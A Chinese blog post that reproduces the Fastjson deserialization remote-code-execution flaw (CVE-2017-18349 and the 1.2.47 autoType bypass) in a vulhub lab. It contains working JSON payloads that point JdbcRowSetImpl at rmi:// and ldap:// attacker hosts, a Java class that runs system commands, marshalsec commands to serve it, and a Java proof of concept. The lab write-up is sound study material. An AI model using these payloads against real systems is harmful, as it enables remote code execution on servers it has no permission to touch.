首页 > 其他分享 >Fastjson反序列化漏洞

Fastjson反序列化漏洞

时间:2024-05-07 15:36:44浏览次数:10  
标签:Fastjson RMI 1.2 com 漏洞 序列化 type

目录

Fastjson 是阿里巴巴开源的一个Java库,用于将Java对象转换为JSON字符串(序列化),以及将JSON字符串转换为Java对象(反序列化),漏洞编号CVE-2017-18349。

漏洞原理

Fastjson 引入了 autoType 功能,允许在反序列化过程中通过 @type 指定一个类的全限定名,Fastjson将会尝试创建该类的实例。

如果服务端反序列化了不可信的JSON数据,攻击者可以构造特定的JSON字符串,使得Fastjson在反序列化时实例化攻击者指定的类,并可能调用该类中的方法,导致远程代码执行。

举个例子:

假设想要利用Fastjson反序列化漏洞来执行远程代码

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker-ip/Exploit",
  "autoCommit": true
}

这里的 @type 是告诉Fastjson反序列化时创建 com.sun.rowset.JdbcRowSetImpl 类的实例。

dataSourceName 这是 JdbcRowSetImpl 类的一个属性,可以设置它的值为一个RMI服务器的URL。当Fastjson反序列化这个JSON时,会尝试根据这个URL去指定的RMI服务器中去调用方法。

当Fastjson设置 autoCommit 这个值为 true 时,会触发一个连接操作,进而导致 JdbcRowSetImpl 尝试从RMI服务器加载类。

复现

Fastjson 1.2.24

影响版本:Fastjson < 1.2.25

环境搭建:使用 vulhub 搭建

cd /vulhub/fastjson/1.2.24-rce
docker compose up -d

访问 8090 端口,POST一个json对象,可以更新服务端的json的输出:

image

首先需要的在本地编译一个class文件,目的是让靶机通过RMI服务远程加载这个类,执行其中的代码。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success-fasrjson"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。

python3 -m http.server 1234 # 监听在1234端口

image

还需要使用 marshalsec 这个项目来启动一个RMI服务。

git clone https://github.com/mbechler/marshalsec
cd marshalsec
apt-get install maven
mvn clean package -DskipTests # 使用jdk8来构建这个项目

如果maven构建速度太慢,可以在 /usr/share/maven/conf/settings.xml 换源。

image

启动一个RMI服务器,监听 1099 端口(RMI服务默认在1099端口),并指定加载远程类文件:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.128:1234/#TouchFile" 1099

向靶机POST如下Paylaod,使靶机创建一个JdbcRowSetImpl对象,并调用TouchFile类。

image

靶机回连本地RMI服务,RMI服务端收到请求:

image

python服务端收到请求,返回了TouchFile类:

image

进入到靶机docker环境中,可以看到 /tmp/success-fastjson 文件已经成功创建,利用成功。

image

除了基于RMI的利用方式,还有基于 LDAP 的利用方式。和RMI的利用方式类似。

还是用 marshalsec, 启动一个LDAP的服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:1234/#TouchFile" 1099

POST JSON Paylaod:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.88.128:1099/TouchFile",
        "autoCommit":true
    }
}

Fastjson 1.2.47

Fastjson在 1.2.24 版本后增加了反序列化白名单,在 1.2.48 以前的版本中,可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

JSON Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://attacker-ip/Exploit",
        "autoCommit":true
    }
}

漏洞分析

我的Java基础没那么好,这里就结合其他师傅写的文章浅浅地分析一下。

Fastjson漏洞的几个关键函数:

DefaultJSONParser.parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理。

TypeUtils.loadClass() 根据传入的类名,生成类的实例。

JavaBeanDeserializer.Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。

ParserConfig.checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

首先来看看 1.2.24 版本,274行此处判断如果含有@type标记,则调用lexer.scanSymbol,返回的ref就是@type的值,然后直接使用TypeUtils.loadClass()来生成类的实例clazz。同时1.2.24版本的autoType是默认开启的,autotype功能允许在JSON字符串中通过@type指定一个类的全限定名,然后在反序列化时创建这个类对象,从而就就引发了这个反序列化漏洞。

image

接着来看看 1.2.25 版本是如何修复的,自从1.2.25起autotype默认为False,同时增加了 checkAutoType 方法,不再是直接加载类,在该方法中进行黑名单校验,同时增加白名单机制。

image

但是这个防御的措施并不完美,原生的 AutoType 相关检查会被被绕过。

1.2.25-1.2.47 版本补丁绕过

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。

这里有两个版本段:

  • 1.2.25-1.2.32 版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用

  • 1.2.33-1.2.47 版本:无论是否开启 AutoTypeSupport,都能成功利用

POC

import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) {
        String PoC = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://82.156.158.68:1389/EvilClass\",\n" +
                "        \"autoCommit\":true\n" +                "    }\n" +
                "}";
        JSON.parse(PoC);
    }
}

参考文章
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2017-18349Fastjson反序列化.md
https://www.clementi.top/2023/09/24/Fastjson反序列化漏洞复现/index.html
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:Fastjson,RMI,1.2,com,漏洞,序列化,type
From: https://www.cnblogs.com/smileleooo/p/18133893

相关文章

  • 【Python-Json】自定义类输入json序列化、json的读取与写入
    AI问答Questionjson支持numpy数组么Answer不幸的是,标准的JSON格式不直接支持NumPy数组.JSON是一种用于存储和交换数据的文本格式,它有限的数据类型只包括对象(object)、数组(array)、数字(number)、字符串(string)、布尔值(true/false)、空值(null)等.因此,无法直接将......
  • 《安富莱嵌入式周报》第336期:开源计算器,交流欧姆表,高性能开源BLDC控制器,Matlab2024a,操
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 本周更新一期视频教程:BSP视频教程第30期:UDSISO14229统一诊断服务CAN总线专题,常用诊断执行流程精讲,干货分享,图文并茂https://www.armbbs.cn/forum.php?mod=viewthread&tid=12......
  • Nftables漏洞原理分析(CVE-2022-32250)
    前言在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。环境搭建ubuntu20+QEMU-4.2.1+Linux-5.15.config文件......
  • 【 攻防实操系列+漏洞复现 】-- Jinja2 SSTI模板注入
    框架:python---Flask描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2漏洞复现:Jinja2SSTI模板注入使用vulhub靶场,启动环境先进入容器看一下web服务的代码,得出参数值为name,且可控判断是否存在ssti漏洞,输入:?name={{1*9}},......
  • Apache Log4j2远程命令执行漏洞
    目录漏洞原理复现反弹shell漏洞修复AApacheLog4j2是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2远程代码执行漏洞编号CVE-2021-44228。漏洞原理漏洞主要由于Log4j2在处理程序日志记录时存在JNDI入......
  • Apache Shiro 721反序列化漏洞Padding Oracle Attack
    目录漏洞原理复现修复方式漏洞原理Shiro的RememberMeCookie使用的是AES-128-CBC模式加密。其中128表示密钥长度为128位,CBC代表CipherBlockChaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。这种模式的加......
  • Apache Shiro 550反序列化漏洞
    目录漏洞原理复现漏洞探测方式一ysoserial反弹shell方式二ShiroAttack2一键利用修复措施ApacheShiro是一个用于身份验证、授权、加密和会话管理的Java安全框架。ApacheShiro550是个反序列化漏洞,漏洞编号为CVE-2016-4437。漏洞原理Shiro框架提供了一个RememberMe功能,允许......
  • Nexpose v6.6.248 for Linux & Windows - 漏洞扫描
    Nexposev6.6.248forLinux&Windows-漏洞扫描Rapid7VulnerabilityManagement,ReleaseApr24,2024请访问原文链接:Nexposev6.6.248forLinux&Windows-漏洞扫描,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org您的本地漏洞扫描程序搜集通过实时......
  • Web漏洞扫描器-Xray
    下载地址:https://github.com/chaitin/xray/releases使用环境:Windows、Linux、macOS皆可工具说明:Xray扫描器是一款功能强大的安全评估工具。支持主动、被动多种扫描方式,支持常见Web漏洞的自动化检测,可以灵活定义POC,功能丰富,调用简单,支持多种操作系统。官方使用文档:https://docs......
  • 【安全服务系列】漏洞管理
    一、漏洞基础原则上,漏洞是指系统或网络中的一个脆弱点,其可能会被网络犯罪分子利用,以获得未经授权的访问,从而造成破坏。漏洞利用之后会发生什么呢,谁也说不准——安装恶意软件、窃取敏感数据、利用恶意代码造成损害等等。以下是有关漏洞的几个官方定义:1、NIST:系统、系统安全程......